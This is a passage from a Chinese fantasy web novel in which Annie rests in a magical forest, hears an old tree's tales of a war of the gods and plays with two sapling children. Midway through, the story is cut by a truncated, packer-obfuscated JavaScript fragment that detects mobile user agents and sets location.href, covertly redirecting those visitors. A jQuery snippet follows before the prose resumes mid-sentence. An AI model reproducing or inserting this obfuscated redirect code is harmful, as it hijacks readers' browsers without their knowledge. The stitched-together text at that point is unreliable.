安妮默默跟着点了点头,树是植物,走路还是不容易的,没有必要。至于化形……她记得灾难丛林里有很多动植物都可以化形,只是需要经历漫长的时间,或者偶遇什么机缘。她能赶上这两棵小树一起化形,运气还真不错。 “往那边走,有很多灵果,泉水也可以喝,你们可以带过来。” 树爷爷用枝丫指了个方向。 “我去吧。” 安妮示意阿木木先去和两棵小树聊一聊。 她倒不是无法接受这样的热情,只是想着阿木木应该天生对植物亲近一些。反正寻找本源是件漫长的事情,不急于这一时。 安妮朝着树爷爷指引的方向走去,很快就找到了树爷爷说的灵果和泉水。 这片森林树木林立,但是有果子的树只有那一片。 这片树的枝叶下挂着红彤彤的果子,苹果一样的大小,圆圆的,在绿色的环境下十分耀眼,也很诱人。 至于泉水,就在树边,这个泉里的水很清澈,清可见底,但让安妮意外的是看不见一条鱼。 她再静下心观察,才发现周围仍旧有昆虫活动的窸窣声,但也仅此而已。没有飞鸟,也没有走兽,甚至那些隐藏起来的洞口也不见了——或者说就是没有。 鸟巢呢? 鸟巢在树上,总能发现吧? 但鸟巢也没有。 森林里没有大型动物,是怎么进行物质循环的? 安妮暂时放弃纠结,爬上树摘了四个灵果。她观察四周,希望之森的树木样式还挺多的。 她找了几片宽大的树叶,扒来几根坚韧的青草,做成一个小篮子和几个小碗——装水。 虽然手艺生疏了些,但失败几次后就掌握了。跟自然打交道的童年给她的其实挺多,除了已经不需要熟悉的冰灵力,还有很多动植物和手工的记忆。 安妮满载而归,阿木木已经坐在小女孩的树下了。 “哇,那些都是你做的吗?” “你是说这些碗和篮子吗?” 安妮拿起装水的碗递给阿木木。 “对!你好厉害呀!” 小女孩崇拜的语气和当初她称赞凯德阿姨的时候一模一样。 安妮腼腆地笑了笑:“这个是我的家人教我的,很简单,你要是想学,化形后我教你。” “好呀好呀。木木都跟我们说了,你要来寻找本源对吧?只要感受自然,你一定可以体会到‘生命本源’的!” “生命本源”?这就是“木”的真谛吗? 安妮递水的动作有些迟疑。 “孩子,希望之森一定会让你感到舒适和满足的,不要害怕,也不要有任何疑虑。” 树爷爷笑呵呵的,可惜安妮看不到。 阿木木拿起一个灵果,“喀嚓”咬下。 “真甜。” 他把最大的那个递给安妮,安妮不认识这个果子——感觉应该会很好吃。但她想到的不只是这个。 “这里,没有小动物吗?” “小动物?是兔子,松鼠,野鸡,猎狗之类的吗?” 小女孩列举了这么多,但是安妮一个也没看到过,兔子窝或者野鸡毛等等都没看到过。 “那些小动物希望之森是不存在的,希望之森只有小虫子。” “那你是怎么知道这些动物的?” 小女孩说起这些动物的语气可不像不熟悉。 “树爷爷告诉我们的。” 原来是这样……树木肯定走不远,她没化形,出不去,要知道什么也只能靠见多识广的树爷爷了。 “你会做手工,还知道小动物,你好厉害呀。我可以听你讲故事吗?” “我也想听……” 沉默的小男生插嘴。 安妮当然答应。凯德阿姨当初最爱给她讲故事了,那些故事她都记得。就算没有故事,还有很多小动物可以说。 “我其实也已经很久没有离开过希望之森了,很多事情我都忘记了。” “很久……是多久?” “也就两千年左右吧……”树爷爷似乎陷入了回忆,“当初我建造出这片森林的时候,诸神之战还没爆发,我没有参与千年前的诸神大战,法则便默认我这里成为与世隔绝的地方了。” “诸神之战?” 这是安妮不曾了解到的东西,凯德阿姨没说过,光明学院也没教过。 “这个东西不好说,但既然你们两个都要化形了,知道一些也无妨。”树爷爷说的自然是那两棵小树,“我可以每晚跟你们讲讲。” “爷爷,现在也是晚上!” 小女孩狡黠地说。 树爷爷爽朗地笑了笑,估计也知道小女孩是个急性子。 “既然如此,那我就起个头吧。” 树爷爷清清嗓子,开始讲述记忆里的诸神之战。安妮坐在阿木木身边,面前似乎坐着温柔的凯德阿姨。 “诸神之战的起源来自堕落天使和神使弗斯。 当时源大陆正是智慧生灵诞生的巅峰时期,有能力有意识的各种生物和没有理性的魔兽对峙着,堕落天使意图通过魔兽和黑暗之力统治大陆,弗斯代表光明和生灵反抗。 这场战争除了我率领的一部分植物逃过了,就只有亚特兰蒂斯的人鱼族还保持着中立,其他人无一例外都被迫和堕落天使对抗。 魔兽一方大多都是实力强劲没有思想的,除了作为卧底留在弗斯身边的诡术妖姬莫斯卡,还有黑暗元首卜拉克,其他的我就不清楚了……” “莫斯卡……” 安妮盯着手里的果子有些出神。 “对,听说她以欺骗闻名,当初帮着堕落天使套来了不少消息,两人里应外合,差点就成功了。” 是啊,她确实以欺骗闻名,不仅骗过了光明学院的上一任校长弗斯,这一任加丁不也没逃过吗?她就更不在话下了。 “差点成功是什么意思?” “具体我不清楚,但诸神之战的主要竞争除了人才,就是神器。那个时候大陆没有现在宁静,神器都不在封印当中,什么‘无尽战刃’,‘刀锋意志’,甚至大陆之根本‘源’,全都出现了。” “‘源’我知道,那是源大陆最厉害的神器,‘刀锋意 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“‘生机’?” “是守护希望之森的神器哦~” 小女孩积极地解释着,一点也不见外,“每一件神器能力各不相同,有打架很厉害的,有魔法很厉害的,也有守护很厉害的。爷爷的‘生机’给整片希望之森提供着能量,虽然谁都干不过,但是必不可少呢!” “是啊是啊,以后我和她会代替树爷爷守护‘生机’和希望之森的!” 小男生骄傲地说。 “是啊,再过十几年,希望之森就要交给你们了。” 树爷爷虽然是笑着说的,但安妮也猜到了什么。掌握灵力的种族最高能活五百年,树爷爷已经上千岁,也是离开的时候了。 “树爷爷,你几岁了?” “两千多岁吧?很多事情都不记得了,年龄也就不重要了。” 源大陆的年龄也不大,两千岁可以说是元老了。更遑论树爷爷在有意识地计算年龄之前,还作为植物生长了那么久。 安妮暗暗惊叹着。 “姐姐你几岁了?叫什么名字呀?” “我?我叫安妮,已经二十六岁了。” “真小呀,我都一百九十九岁了。” 快两百岁了?安妮咽了口唾沫,听小女孩这声音也不大,她还想着两棵树都刚刚诞生不久呢。 “希望之森的树木都是被岁月遗忘的,小家伙们这个年纪换算一下,也就是二十五岁左右。” “那也很大了!” 小女孩嘴硬。 二十五岁,是按照最高年龄两千岁算出的,可是树爷爷都两千多岁了,他们青出于蓝而胜于蓝,一定会活得更长的。 但是小女孩不想承认,她也不拆穿。 “好了,今天的故事就说到这里,咱们睡觉吧。” “不要不要,爷爷你还没说莫斯卡是怎么差点帮堕落天使取得胜利的呢。她们是把‘源’偷走了还是偷袭了战神?” 安妮其实也很好奇,毕竟虽然算是近距离接触过莫斯卡,印象里她和加丁的对峙也不相上下,但她还是好奇莫斯卡究竟怎么骗过了更厉害的弗斯。 “这是一个很复杂的过程,我在希望之森里,了解的不多。 不过弗斯很诚实地面对了自己的错误,他说莫斯卡把他骗到了一个充满禁制的地方,他费了好大力气才重回战场。 不过正是那时他爆发了巨大的救世意志,得到了‘源’的承认。之后弗斯依靠‘源’创立光明学院,还和伊娃谈判,不过谈判内容我就不知道了。” “光明学院,不是学习的地方吗?” 一所学院和诸神之战也有关系?难道战争时期还有人上学? “光明学院最开始名叫‘战争学院’,是弗斯为了应对堕落天使建立的联盟,里面聚集了所有对抗黑暗的人,他们在那里互相学习,传授知识,治疗伤员,制作武器等等,后来战争结束,弗斯才将它转型成‘光明学院’,意在传授天道的意志。” “现在的光明学院之所以那么大,工厂实验室齐全,都是当时遗留下来的。只不过弗斯又花了许多的金钱和时间,才把光明学院打造成现在这个金碧辉煌的模样。” “天呐,弗斯好厉害呀……” 小女孩呢喃了一句。 安妮不由自主地跟着点了点头。 带领人们反击堕落天使,拯救世界,收服了神器“源”,还亲手建造光明学院……他简直就是救世主一般的存在。 和现在追名逐利,爱慕虚荣的加丁相比真是云泥之别。 安妮不禁有些感慨,前人拼了命努力建造起的神圣殿堂,却被贪婪的后人坐享其成。 要是弗斯看见光明学院如今的校长,不知道会作何感想。 “好了,我解释清楚了,可以睡觉了吗?” “那……勉强睡一下吧,明天我还要听故事!” “好好好……” 树爷爷呵呵笑着。 安妮眼眶有些湿润,曾几何时,她也是这样对着凯德阿姨撒娇的。 “睡觉吧,晚安。” 阿木木摸了摸安妮的头。 “晚安。” 安妮看着阿木木比泉水还清澈的眼神,心中安慰,蜷缩在树干下闭上了眼睛。 微风拂过,树叶窸窣,黑暗的环境里,却再不需要担心任何威胁。 38. 38 “早啊,睡得舒服吗?” 安妮的作息很规律,是训练的时候养成的习惯,到了麦田里也没改过。 她看了看手表,果然是七点五十。 十分钟收拾好,就该开始一天的忙碌了。安妮第无数次回想起那个蓝色长发的少女,自嘲地笑了笑。 “早啊。” 现在的生活真是安全到让她感觉不真实。 “灵果可以提供一天的能量,也能饱腹,你什么时候饿了就去拿吧。” 安妮昨晚一次性吃了两个,睡了一觉还觉得饱饱的,干脆坐起来活动活动。 “你的动作好帅呀,也是跟你的家人学的吗?” 动作?这些放松的动作只是效果比较好罢了。 “算是吧……是我的师父。” 虽然相处的时间不多,只有短短五年,但安妮觉得她就像自己的姐姐一样。 “师傅?她教你做什么?教你折那些篮子和碗吗?” “额……这倒不是。” 安妮有些纠结。听小女孩天真的语气,她说这些打打杀杀会不会不太好?不过树爷爷不也说他们要化形了,可以多说点…… “你忘记了吗?你放心,要是他教的是什么独门绝技,我不会缠着你学习的。” “扑哧……不是……”这小女孩一副认真的语气,还真可爱,“只是她教的东西不适合你学习,至少……不适合现在的你学习。” “那一定是打架吧?飞檐走壁,还有骑马耍大刀什么的,降龙十八掌,九阴白骨爪……” “没那么夸张……”这些都是几百年前的小说招式了,树爷爷果然年纪很大,“我其实后面自学比较多,还自己创造了一套身法。” 当时绞尽脑汁寻找适合自己这种小短腿的动作,也是一段美好的回忆吧……安妮不自觉扬起了嘴角。 “哇……那你真厉害,什么都会!你的师父一定很友好吧,你笑得这么开心。” “是啊,她特别好,嘴硬心软的那种……” 安妮想起金克丝的事情,话也不禁多了起来,尤其是小女孩也很捧场,什么都要问一问。 安妮坐在树下,享受着清风,不知不觉就说多了。 她才发现身边的两个听众安静得过分。 “你们不想说点什么吗?” “他就是个闷葫芦,安妮姐姐你别管他。你再跟我讲讲你是怎么找到自己翻滚的招式的呗?” “那个不好说……有机会我给你演示一下吧。” 去守望麦田练心那段时间,她都只做着基础的锻炼,再不活动活动筋骨就懒散了。 小女孩立刻欢呼着答应了。 “木木你不想说点什么吗?” “听你说这些挺有趣的。我还不知道,原来我错过了你那么多的故事……一定很辛苦吧?” “其实还好啦,只要每天有进步,就不辛苦……” 安妮摇了摇头,那段时间自己消沉得可怕,还没有从失去冰灵力的阴影中走出去,是金克丝用忙碌的训练一点点填满了她的生活,也给她的心填满了希望。 这个亦师亦友的家伙除了毒舌一点,还是挺不错的。 “你的师父是男是女呀?感觉你很喜欢他。” “是女生哦,而且也很年轻,不过……比你要大一点。” “原来外面有这么多厉害的女生!好想去看一看呀,我要是能拜个师就好了。”小女孩话锋一转,“诶,姐姐你收不收徒弟呀?” “我?” 安妮瞪大了眼睛。 她还没想过这个问题。当初能做金克丝的徒弟她就高兴得手舞足蹈了,收其他人做徒弟……她应该还没有这个实力吧。 可惜她不自信,小女孩却感觉很靠谱。 “姐姐你又会做手工,又能打架,做操都那么帅,还知道很多故事,你收我做徒弟吧!” 这些她好像确实会。 安妮从来没觉得这些技能有什么,行走在源大陆,无依无靠,当然需要什么都会一点,但这也能被当成了不起的地方吗? 安妮心中有股奇怪的情绪在翻涌。 “姐姐你是担心我很笨吗?”小女孩见安妮沉默这么久,还以为她不乐意,“我很聪明的,学什么都特别快!我天赋也很高的,一定不会给你丢脸。你放心,要是我太差劲了,我就不告诉他们我有个师父。” “咳咳……” 还有这种操作? 安妮失笑。 “爷爷说了,我们还小,化形之后肯定短胳膊短腿儿的,学踢腿别把自己撂翻了!” 小男生泼冷水。 “就你话多!就你话多!” 小女孩拿叶子打着小男生。 “好了好了,收徒当然可以,但是也要等你化形之后再说。要是我教不了你什么,就不用拜师了——别打了。” “哼,看在师父的份上我就放你一马。” “……” 这妮子还真是自来熟。 “哼,你拜师我也要拜师。大哥哥你做我的师傅好不好?你教我武功,我化形后一定能打过这个暴力女。” “你想得美!” “唉……” 阿木木笑着摇了摇头。 他都是个任安妮揉搓捏扁的,小男生找他能有什么用?不过他倒是可以教小男生怎么心甘情愿地挨打。 “爷爷,姐姐说的鸡你见过吗?” 彩色尾巴,羽毛艳丽,依靠展开尾巴吓走敌人,其实一点毒性也没有,这样的小动物感觉不堪一击。 树爷爷果然摇了摇头:“源大陆最初是很危险的,战争无处不在,这种空有其表的动物根本无法存活下来。” “啊,在我们那里彩毛鸡还挺普遍的呢……” 安妮没想到同一个地方也有那么巨大的变化。 “唉,过去的源大陆凶险无比,到处都是散落的传送阵,一不小心就掉在时空缝隙里,然后消失不见了。”树爷爷的声音沉重庄严,让人无法怀疑,“无妄森林在那个时候是最混乱的地方之一,能量暴动很厉害,但是没有任何神器,我们都在猜测它的悬崖下面到底有什么。” “没有神器,那就是传送阵呗。” 小女孩笃定地回答。 虽然这个回答过于草率,但好像也只有这个结果。安妮想起金克丝过去在湖边嘱咐她的话,越发认可了这个猜想。 那就更不能让艾德文特发现了。传送阵的能源越大,传送地点越多,可传送目标也会变多,加丁利用它不知道能破坏多少隐藏的和平之地。 这个能为了一个半神器原形毕露的人,才不会仁慈。 “树爷爷,无妄森林悬崖下面的传送阵安全吗?万一被坏人利用怎么办?” “不会的,要是能轻易掌握空间法则,源大陆早就分崩离析了。真的出现能控制传送阵的人,那我们也阻止不了他。” “源大陆风平浪静了那么久,我想掌握了它的人也不会愿意轻易破坏这份安宁的。” 树爷爷还是太天真了…… 大概是在这里停留太久的原因吧。安妮叹了口气,经历了刻骨铭心欺骗的自己还是要现实一点的,不知道这是好是坏。 “咱们别纠结这么多了,反正谁要是敢来破坏希望之森,我肯定饶不了他!” “还有我!” 希望之森的树木沙沙摇晃着,似乎也在宣誓。 安妮挺羡慕的。 这样团结和谐的族群……是她曾经在族人身上看到过的。 她并没有把自己的经历全部告诉小女孩,故事净捡着美好的说——大概是出于私心。 “安妮姐姐,你有午睡的习惯吗?” “午睡?没有。” 午休的时间倒是有,但是她从来没有拿来睡觉过。她不喜欢睡觉,总感觉这是把自己交给未知。 尽管闭眼后再醒来只有时间的流逝,但她害怕自己一闭眼就醒不过来了——虽然醒不过来自己也不知道。 这是个奇怪的问题,勉强能解释为什么她不喜欢睡觉。 “那……我们午睡的时候,姐姐你去逛一逛希望之森吧。总和我们待在一起也不好,你还要感受更多才行。” “好,我待会儿就去。” “希望之森左边是灵树灵泉,右边有一条小河,你往中间走有很多好看的花,树会少一点,但是蝴蝶很多……” “让安妮自己探索吧,我想她会用心感知的。” 树爷爷打断了小女孩。 她确实会用心观察,但感知不好说。在无妄森林呆久了,她总是把东西分成安全和危险两种,除此之外再无其他。 摘灵果的时候观察大树,就看枝条有没有刺,叶子有没有锯齿,舀灵泉的时候观察泉水,就看水底有没有陷阱,周围有没有埋伏…… 听见身边的两棵小树没了动静,安妮知道可以离开了。 她轻轻起身,拍掉泥土灰尘,整理好衣着。阿木木没有跟上,他仍旧坐在原地,做了一个挥手的动作。 他总是知道什么时候需要停下、等待。 安妮悄无声息地挥手回应,接着蹑手蹑脚地离开。 翠绿的身影越来越模糊,终于和树木融为一体。安妮转身,朝着森林深处走去。 希望之森很美,翠绿的生机勃勃让人放松。安妮走在林间,只看得见一些翩翩起舞的蝴蝶。 生命……一直都是这样纯净美好的吗?那为什么最后,会变了模样呢…… 安妮伸手,捻了捻舒展的枝叶,有的小树很矮,叶子还是嫩嫩的,滑溜溜的,一点也不硌手。草地也是松软的,混着泥土的香味。微风吹拂,阳光洒落,一片欣欣向荣的景象。 这样不真实的场景,让安妮想沉醉其中。 但她恐怕收服不了“生命本源”。 她对求存的生命有敬畏,会对逝去的生命感到惋惜,也会感慨生命的伟大,但是好像从面对天道的那一刻开始,如此柔和阳光的本源就已经和她绝缘了。 安妮回想自己过去在森林里的活动,四处寻找植物制造篮子采蘑菇。 这里除了没有动物,其他东西还是挺齐全的。大概是树爷爷把自己看见过的东西全部搬进来了,这里还有很多安妮只在书本上见过的已经绝迹的东西。 虽然沉浸于发现新植物的喜悦中,安妮也不停注意着时间。 这里的阳光很温暖,落日时间早一些,大概在千年前,源大陆就是八点开始日落的吧。 安妮忽然看见一只蝴蝶。 她从来没见过,因为这只蝴蝶飞舞的时候时不时掉落粉末。她不知道是翅膀上的粉末还是花粉,总之在阳光照耀下很梦幻。 安妮没有那么幼稚,她记得自己曾经嘲笑过凯德阿姨故事里那些扑蝶的少女。蝴蝶会飞,没有工具根本不可能抓得到。她体会不到扑蝶过程的乐趣,只注重没有结果的结果。 但她忽然想跟着这只蝴蝶走一走。 安妮看着蝴蝶在一朵野花上停下,快步走近,也不伸手。蝴蝶察觉到有人靠近,飞快地升起,朝另一个方向摇晃赶去。安妮加快脚步跟上,还是没有抓的意思,只是这样亦步亦趋地跟着。 蝴蝶忽高忽低,保持在抬手能碰到的高度,但是安妮才懒得尝试伸手,她全当这是赤裸裸的勾引——自己才不会上当。 按照速度计算,她抬手的功夫,蝴蝶就可以飞到安全的高度了。 怎么又开始胡思乱想了……安妮只能不断在心里提醒自己,不要计划,没有危险,尽量摒弃这个习惯。 收放自如,该放松的时候放松,该紧张的时候紧张,这也是猎人必不可少的技巧,因为没有人永远不会感到疲惫。可惜,这个技巧金克丝还没完全教会她就把她赶走了。 那样的环境下想完全放松也不可能…… 唉,安妮甩了甩脑袋,才发现自己跟着蝴蝶走了一路,已经到了小女孩嘴里提过的花田。 也不是花田,就是树木少一些,花朵多一些。之前那只蝴蝶还在面前,大概是察觉到安妮没有伤害它的意思,此刻带着其他蝴蝶围绕着安妮,颇有些肆无忌惮。 安妮把篮子放下,看着各式各样的花惊叹。 她想起了百花节,那是很久远很久远的记忆了。如果没有在回去的时候捡到琼脂,她大概会忘记……大概。 但现在再一次想起,她不知道该是怎样的心情。 这里也多了些奇奇怪怪的花,颜色鲜艳的比较多,可能会带毒。树爷爷说千年前的源大陆危险,自然也包括植物。安妮忽然有些好奇,千年前的植物里会有她喜欢的吗? 凯德阿姨当初告诉她,族人在百花节挑选喜欢的花朵,一般都会遵循一个条件:要么是具备和自己特点相似的条件的,要么是具备自己向往但是达不到的特点的。 安妮当初选择了黄色蒲公英,是因为阳光开朗,但是恐怕如今不是和自己相似了…… 那现在她会选择什么? 安妮环顾四周,惊喜地发现,角落里竟然还生长着白色蒲公英。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119506|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蒲公英还真是无处不在……她勾了勾唇角,小心翼翼地摘下几朵,蝴蝶对蒲公英没什么兴趣,碰了几下就飞走了。 蒲公英不吸引蝴蝶,这是安妮早就知道的。但其实蒲公英是有香气的——与其说是香气,不如说是香味。 安妮曾经尝过蒲公英,硬邦邦的种子炸裂后是苦涩的味道,苦涩后有些回甘。她就忍着疼捏碎了几颗种子,发现那味道也能闻出来,只是不明显。 安妮撸干净一条蒲公英,将它的种子捏碎,放在一边的土堆上。 她静静地等了一会儿,可惜蝴蝶只是轻轻触碰了下,在那上面飞了几圈,就离开了。 看来这味道也只有她会喜欢了…… 阳光越来越灿烂,估摸着小女孩快醒了,安妮提着蘑菇和蒲公英往回走。潜意识总是把路线环境记得一清二楚,她想迷路都难。 五年时间养成的习惯只会越来越牢固吧……还好也习惯了金克丝的离去。 安妮回到树爷爷在的地方,两棵小树果然都醒了。他们和阿木木聊着什么,气氛很融洽。 “姐姐,你还会做蚱蜢、青蛙和兔子对不对?” 小女孩问道。 “用将军草!” 小男生补充。 安妮走近树,放下篮子,点了点头,“木木告诉你们的?” “对呀对呀,姐姐给哥哥做了好多手工,羡慕死我了。” 小女孩直白地说。 安妮腼腆地笑了笑。 当初没什么能赠送的东西,她就趁着空闲给阿木木做手工,有时候当作逛街的礼物,有时候当作过节的祝福。后来因为学业越来越繁忙,又出了半神器的事,这件事就搁置了,没想到阿木木还记得。 “那些东西现在还被哥哥收着呢,可惜没带来,我看不到。” 还收着? 安妮诧异地看着阿木木。 “放在麦田的木屋里。” 阿木木只能老实交代。 “姐姐你不知道呀?我还以为你知道哥哥把你送的东西都收着呢!”小女孩这语气和崔丝塔娜不谋而合,全是八卦的味道。 安妮无奈地沉默了,因为她知道对八卦的人是解释不清的。 “将军草虽然坚韧,但时间长了水分蒸发,会变得很脆弱的。” 当初她第一个成功的手工送给了凯德阿姨,后来在她的帐篷里看见了那团已经失去形状的干草团。 “我保存着没什么事……可能是体质特殊吧。” “木木这孩子好像是先天木灵神体。” “那是什么?” 加丁说他是神使,但他灵力都学不会,加丁也不敢教。树爷爷活了这么久,也许会知道得多一点? “我也不确定,只感觉他好像和我一样,都是法则排除在世界外的,但是他明明入世了……”树爷爷困惑道,“也许他是外来的,和这个世界的羁绊比较深吧,至于他的灵力……法则应该和我们的不太一样。” “外来的?” 世界之外还有世界吗?安妮听说过三千世界的概念,但她没想到身边这个真实存在的人会有那么虚幻的来历。 “让他多跟我待一会儿,应该能看出更多东西。不急不急,儿孙自有儿孙福,没什么可担心的。”树爷爷看出安妮的紧张,连声安慰,“小小年纪别成天愁眉苦脸的。” “抱歉,我就爱瞎操心。” 安妮耸耸肩。当初金克丝的毒舌都没能完全改掉她这个毛病,更别提现在了。 “姐姐,我也想要蚱蜢和兔子,青蛙就算了。” 小女孩插嘴,立刻把话题拉了回来。 不愧是无忧无虑的树爷爷带出来的接班人…… 安妮腹诽了一句。 “这里没有将军草,我找找替代品,找到了给你做。” 将军草生活的环境条件恶劣,生命力顽强,因此才会十分坚韧,这里如此舒适,恐怕不好找。 “希望之森的一切都是依靠‘生机’的能量运转的,我可以调动它,如果你需要什么植物,可以跟我说。” “任何植物?” 安妮惊了。 “‘生机’本来就是植物之灵汇聚而成的,当然可以召唤各种植物,只是我能力有限,已经发挥不出它的全部力量了。” “没关系,爷爷,我一定会好好学习,以后完全收服‘生机’!” “我也是!” “好,我等你们。” 树爷爷欣慰地接道。 “神器可以继承吗?” 虽然加丁可以使用“启元录”,但是还没听说过他可以随意操控“源”——虽然可能是“源”损坏了。 “继承当然是不可能的,但是可以再次收服。神器认主,同一时期只会有一个主人,‘生机’虽然现在只听我的,但它已经承认了两个孩子。” “两个?” “我们是双生树哦,同一个根里诞生的!” 小男生解释。 “谁想和你一起诞生啊,你笨死了!” 小女孩抱怨。 可惜很明显这是个事实。 安妮没想到他们还是同根生的,毕竟小女孩和小男生的性格可以说截然相反。但同时化形,还都被“生机”承认,也就没什么巧合可言了。 “姐姐,等我化形了,就跟你学做手工吧,爷爷太辛苦了,我不麻烦他了。” “好。” 安妮欣然答应,然后取出蒲公英。 “现在不能做手工,但是可以听故事。我还有很多蒲公英的故事,你听吗?” “蒲公英是你手上的花吗?” “对,我采来给你看看。” 安妮把蒲公英轻轻递过去。 小女孩用枝叶接过,欣喜地捧着观察。小男生则举着花茎晃了晃,绒絮立刻飘散在空中。 “真好玩!” “这是姐姐送的花,你就这样糟蹋了!” 见小女孩又要教训小男生,安妮赶紧笑着阻止:“没关系,其实这也是帮助蒲公英传播种子了,我小时候也爱这么玩。” “看,我和姐姐一样呢!” 小男生骄傲道。 “等你们化形了,就可以吹散它了。”安妮举着蒲公英示范,“等你们化形了,我还可以教你们采蘑菇、打水仗、做泥塑……” “好期待啊……” “没关系,现在也有故事。”安妮调整了个舒服的姿势,开始回忆遥远的童年。童年里的故事,都还很清晰。 39. 39 早晨的空气很新鲜,最适合清晨锻炼。 安妮伸着懒腰,回忆自己的一招一式。其实打架看中的是灵活应对,结合环境制敌,这些动作练习久了早已刻入记忆,拿出来用是很简单的事。 “姐姐,今天是去抓蝴蝶还是打水仗?” 小女孩的树叶沙沙作响,似乎在摩拳擦掌。 安妮自从看见她挺直树干,伸展树根,横冲直撞,连泥土都被翻出来后,就对她的移动方式抱有极大的兴趣,也终于明白了小男生嘴里所说的帮她“填土”是什么意思。 这样用树干推出一条路,阻力很大,因此摩擦力也很大,但小女孩只学会了这一种方式。 她自然不会带着小女孩一直跑,只是小女孩就爱观察她抓蝴蝶和潜水的动作,在旁边看着动不了也乐此不疲。 安妮当初也是这样看着金克丝演示各种招式的,她有点好奇小女孩能不能仅靠“看”学会一星半点。 “今天……我们来打水仗吧。” 在森林里待久了,童年的记忆也越来越清晰,过去那些活动全部被她尝试了个遍。 她记得,自己以前爱和提伯斯一起打雪仗,那个时候总是用各种好吃的做奖励,大笨熊玩得很卖力。 他还老是用凯德阿姨的围巾当陷阱,诱哄她靠近,可惜每次她都会被骗。 “打水仗?怎么打呀?” 小女孩马上就要化形了,因此可以做的动作越来越多,精力也越来越旺盛。安妮只是描述了一遍游戏的规则,她立刻兴奋起来。 “好呀好呀,我一定能瞄准!” 她说完,挺起树干,安妮立刻明白这是要赶去湖边了。 就感觉地面一阵晃动,泥土被翻动的声音此起彼伏……小女孩这速度丝毫不逊于奔跑的孩童。 树爷爷在后面用树根把泥土简单填回,但安妮知道不久后小女孩回来,还是要走这条路。 小女孩不能多动,安妮就让她舀水打自己。她一直在光明学院练习精准,还没成为过别人的目标。尽管后来和金克丝学得全面了,但攻击风格不同,练习效果还是不一样的。 小女孩动作明显就要迟缓一点,动作也很光明磊落,没有狡诈的计策,也没有封走位的习惯。 “姐姐你动作怎么这么快呀……” 小女孩扔了半天,安妮身上水花都没有。 “你们两个一起来吧,说不定能打中我。”安妮示意跟来的小男生一起,“给你点提示,你们可以配合一下,或者耍点花招!” 不然我会很轻松的。 安妮偷偷在心里补充道。 “配合?对呀!喂,快来,我有办法了!” 小女孩说完,凑在小男生旁边说悄悄话。他们的语言安妮听不懂,但是小女孩这么兴奋,肯定是被点通了。 果然,接下来,两棵树开始一左一右配合夹击,还时不时借助遮掩搞偷袭。安妮虽然躲避得游刃有余,但还是故意中了几个。 游戏嘛,输赢从来不是最重要的。 “姐姐,打水仗好好玩呀!等我化形了能动了,一定更厉害!” “好,我等你。” 安妮一边聊天,一边把自己被打湿的衣袖卷起来。 小女孩看在眼里,不由得吐槽:“唉,化形后也麻烦,要随时注意卫生,还要换衣服。姐姐你的衣服湿的多不多?需要让爷爷帮忙用法术烘干吗?” “不了,麻烦。” 她虽然失去了冰灵力,但也不容易感冒。 “如果能有一件水火不侵、永远干净的衣服就好了。” “怎么可能有?” 安妮对小女孩天真的想法笑了笑。 “有的有的,爷爷你知道的对不对?” 树爷爷还在用根填土,估计是没事做,他收拾得很缓慢。 听到小女孩又把他拎出来,树爷爷赶紧做完手上的事。 “是有,不过只有一件。” 安妮立刻竖起了耳朵,因为树爷爷这缓慢又充满回忆的语气,多半是要讲故事了。 “源大陆充满危险的时候,任何物品都能成为被利用的工具。武器是最普遍使用的,其次就是防具。而盾牌、阵法等等,都是十分常见的,最特别的应该是战神的战甲。” “皎月法袍,传说中武器大师麦尔特和炼金术师查纳金合作的成果,攻防兼备,水火不侵,具有寒冰属性,是战神无往不利的一大杀器。 只可惜,这件法袍也存在一些瑕疵,最明显的就是长期使用会导致穿戴者冷若冰霜,难以接近,另外,武器大师似乎并不愿意承认它的存在。” “为什么呢?难道这不该是武器大师的得意之作吗?” “也许是因为这件法袍的属性有些违背天道吧。法武双修是被禁止的,但是皎月法袍不仅在物理上可以刀枪不入,还被炼金术师加入了寒冰属性,可以减弱攻击者的速度,抵挡烈火。要不是战神也法武双修,恐怕都驾驭不了。” “这么厉害!” 小女孩惊叹。 安妮却更震惊:树爷爷的描述,简直和记忆里的那个人一模一样。 如果说之前只是怀疑,现在她几乎已经能认定。武力值极高,法武双修,凛冽冰寒…… “树爷爷,你知道战神叫什么名字吗?” “我们都只称呼她战神,具体是什么名字……恐怕只有弗斯知道了。” “那……法武双修是被禁止的,战神竟然也是法武双修?” “这也许就是她后来选择隐姓埋名,舍弃无尽战刃,离开光明学院的原因吧……弗斯曾经明确规定过,光明学院禁止法武双修。” 可惜后来加丁好像把这条死命令改掉了…… 安妮只要一想到弗斯辛辛苦苦拯救的世界,建立的学院被加丁毁得面目全非,就愈发憎恨他。 她才不相信是加丁的包容让他修改了规定,多半是为了拉拢战神,可惜他失败了。 不管阿若盖特姐姐是不是战神,他都失败了。 “树爷爷,有什么办法可以确定战神的身份吗?” “不清楚……不过,你为什么要确定呢?” 安妮被问住了。 对啊,她为什么要确定呢?就算确定阿若盖特姐姐是战神,难道要把她也拉入这一切吗? 战神归隐,甚至放弃了无尽战刃,就说明她已经不想再战斗了。——是啊,谁会喜欢无休止地战斗呢? 她现在的目标是寻找本源,其他的,都只能靠边站。 她也不会将无辜的人卷入这场极有可能翻不起任何浪花的复仇。所有的一切,她一个人就够了。 “树爷爷,我已经在这里呆了一个多月了,但是对‘生命本源’还是没什么感觉,您有什么办法吗?” “办法总会有的,才一个多月,不要着急。” “是啊是啊,姐姐,我都没化形呢,难道这里不好吗?” “当然不是……” 这里环境优美,安全舒适,也许过去她会感到无聊,但失去族人后嫌少体会到宁静的她简直不想离开。可惜,不想离开是真的,什么都感知不到也是真的。 “姐姐,等我化形之后陪你在森林里好好逛一逛,你一定会有所体会的!” 小女孩热情邀约,安妮自然不会拒绝。 “要午睡了,休息吧。” 小男生招呼着。 小女孩很明显比小男生爱玩,因此每次午觉都是小男生催促。安妮习惯性地站起身,准备再去森林里走走。 每天早上他们一起玩耍,到了中午,小女孩和小男生午睡,她就一个人走到其他地方感知“生命”。阿木木这个时候总是坐在树下小憩,等她带着鲜花或者蘑菇回来,偶尔还有蝴蝶跟着。 